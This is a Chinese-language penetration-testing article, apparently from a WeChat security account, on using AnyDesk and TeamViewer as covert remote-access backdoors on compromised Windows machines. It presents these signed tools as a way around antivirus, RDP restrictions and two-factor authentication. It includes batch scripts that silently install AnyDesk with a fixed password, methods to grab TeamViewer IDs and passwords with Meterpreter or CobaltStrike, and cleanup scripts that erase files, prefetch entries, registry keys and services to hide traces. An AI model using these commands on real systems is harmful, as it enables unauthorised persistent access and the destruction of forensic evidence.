|
0x01 前言
向日葵;
ToDesk;
AnyDesk;
TeamViewer;
Radmin;
RealVNC;
PcAnywhere;
[ ]
0x02 应用场景
AnyDesk与TeamViewer等这类软件都具备内网穿透、文件传输、流量加密等功能,而且它们有数字签名,所以大部分杀毒软件都不会对其进行查杀,在远程桌面连接中可应用场景包括但不限于以下几点。
1) Windows RDP远程桌面连接登录限制;
2) 某狗、盾、锁、神等计算机名和IP认证;
3) Duo Security RDP等双因素身份验证;
[...SNIP...]
0x03 AnyDesk利用方式
首先在本地执行AnyDesk并设置下“为自主访问设置密码”,AnyDesk目录下会生成一些配置文件用来存储我们的ID、Pass、Key和证书等数据,这里记好我们的ID和设置好的Pass,用于后期连接目标机器上的AD,执行过程中不会有UAC弹窗。
接着把AnyDesk上传至目标磁盘,创建%userprofile%AppDataRoamingAnyDesk
目录,然后将我们本地的service.conf配置文件上传进去以后再执行AD即可,这个文件是用来给AD设置一个固定的连接ID和Pass。
shell md %userprofile%AppDataRoamingAnyDesk
shell C:ProgramDataAnyDesk.exe
注:本地用AnyDesk连接目标时必须先删除%userprofile%AppDataRoamingAnyDesk目录下的所有文件,然后重新执行AD,因为只有这样AD才会重新分配一个新的ID给我们,必须与原ID不一样才可以连接目标机器,否则可能会连接到我们本地机器。
或者我们可以在命令行直接执行以下批处理文件进行静默安装并设置固定连接密码,接着通过–get-id参数获取AD的连接ID,如果在获取不到连接ID时可以尝试在choice中增加延迟。
@echo off
AnyDesk.exe --install "C:ProgramDataAnyDesk" --silent
echo licence_keyABC | "C:ProgramDataAnyDeskAnyDesk.exe" --register-licence
echo anydesk!@# | "C:ProgramDataAnyDeskAnyDesk.exe" --set-password
choice /t 10 /d y /n >nul
for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i
echo Connection ID Is: %CID%
可能需要清理的痕迹:
@echo off
taskkill /f /im AnyDesk.exe
del /s /q %userprofile%AppDataRoamingAnyDesk*.*
rmdir /s /q %userprofile%AppDataRoamingAnyDesk
rmdir /s /q "%userprofile%AppDataRoamingApple Computer"
rmdir /s /q %userprofile%VideosAnyDesk
rmdir /s /q %userprofile%PicturesAnyDesk
del /s /q %userprofile%RecentAnyDesk.lnk
del /s /q %userprofile%AppDataRoamingMicrosoftWindowsRecentAnyDesk*.lnk
del /s /q C:WindowsPrefetchANYDESK*.pf
taskkill /f /im AnyDesk.exe
rmdir /s /q C:ProgramDataAnyDesk
reg delete "HKCRAnyDesk" /f
reg delete "HKCR.anydesk" /f
reg delete "HKLMSOFTWAREClassesAnyDesk" /f
reg delete "HKLMSOFTWAREClientsMediaAnyDesk" /f
reg delete "HKLMSYSTEMControlSet001ServicesAnyDesk" /f
reg delete "HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstallAnyDesk" /f
sc delete AnyDesk
del /s /q AnyDesk.exe
[...SNIP...]
0x04 TeamViewer利用方式
在执行过程中可能会出现UAC弹窗
,这里不管我们选择是或者否都会运行,但这种方式在实战中动静还是太大了。
tasklist /svc | findstr "TeamViewer" & sc qc TeamViewer
wmic process where name="TeamViewer.exe" get processid,name,executablepath
TeamViewer ID:1 118 357 536 - TeamViewer Pass:7224
大部分利用工具原理都是在TeamViewer.exe进程的窗体句柄或内存中找到的ID和Pass。
或者我们可以在执行TV后通过使用Meterpreter和CobaltStrike中的screenshot命令截取目标机器桌面得到TeamViewer的连接ID和Pass。
可能需要清理的痕迹:
off
taskkill /f /im TeamViewer.exe /im tv_w32.exe /im tv_x64.exe
rd /s /q C:WindowsTempTeamViewerPortable
rd /s /q "%ProgramFiles%TeamViewer"
rd /s /q "%ProgramFiles(x86)%TeamViewer"
rd /s /q %userprofile%AppDataRoamingTeamViewer
rd /s /q %userprofile%AppDataLocalTeamViewer
rd /s /q %userprofile%AppDataLocalTempTeamViewer
rd /s /q %userprofile%AppDataLocalTemp1TeamViewer
rd /s /q %userprofile%AppDataLocalTemp1TeamViewerPortable
del /s /q %userprofile%AppDataRoamingMicrosoftWindowsRecentTeamViewer*.lnk
del /s /q C:WindowsFontsteamviewer*.otf
del /s /q C:WindowsPrefetchTeamViewer*.pf
del /s /q C:ProgramDataIntelShaderCacheTeamViewer*
sc delete TeamViewer
[...SNIP...]
推 荐 阅 读
欢 迎 私 下 骚 扰
原文始发于微信公众号(潇湘信安):AnyDesk和TeamViewer在渗透测试中的应用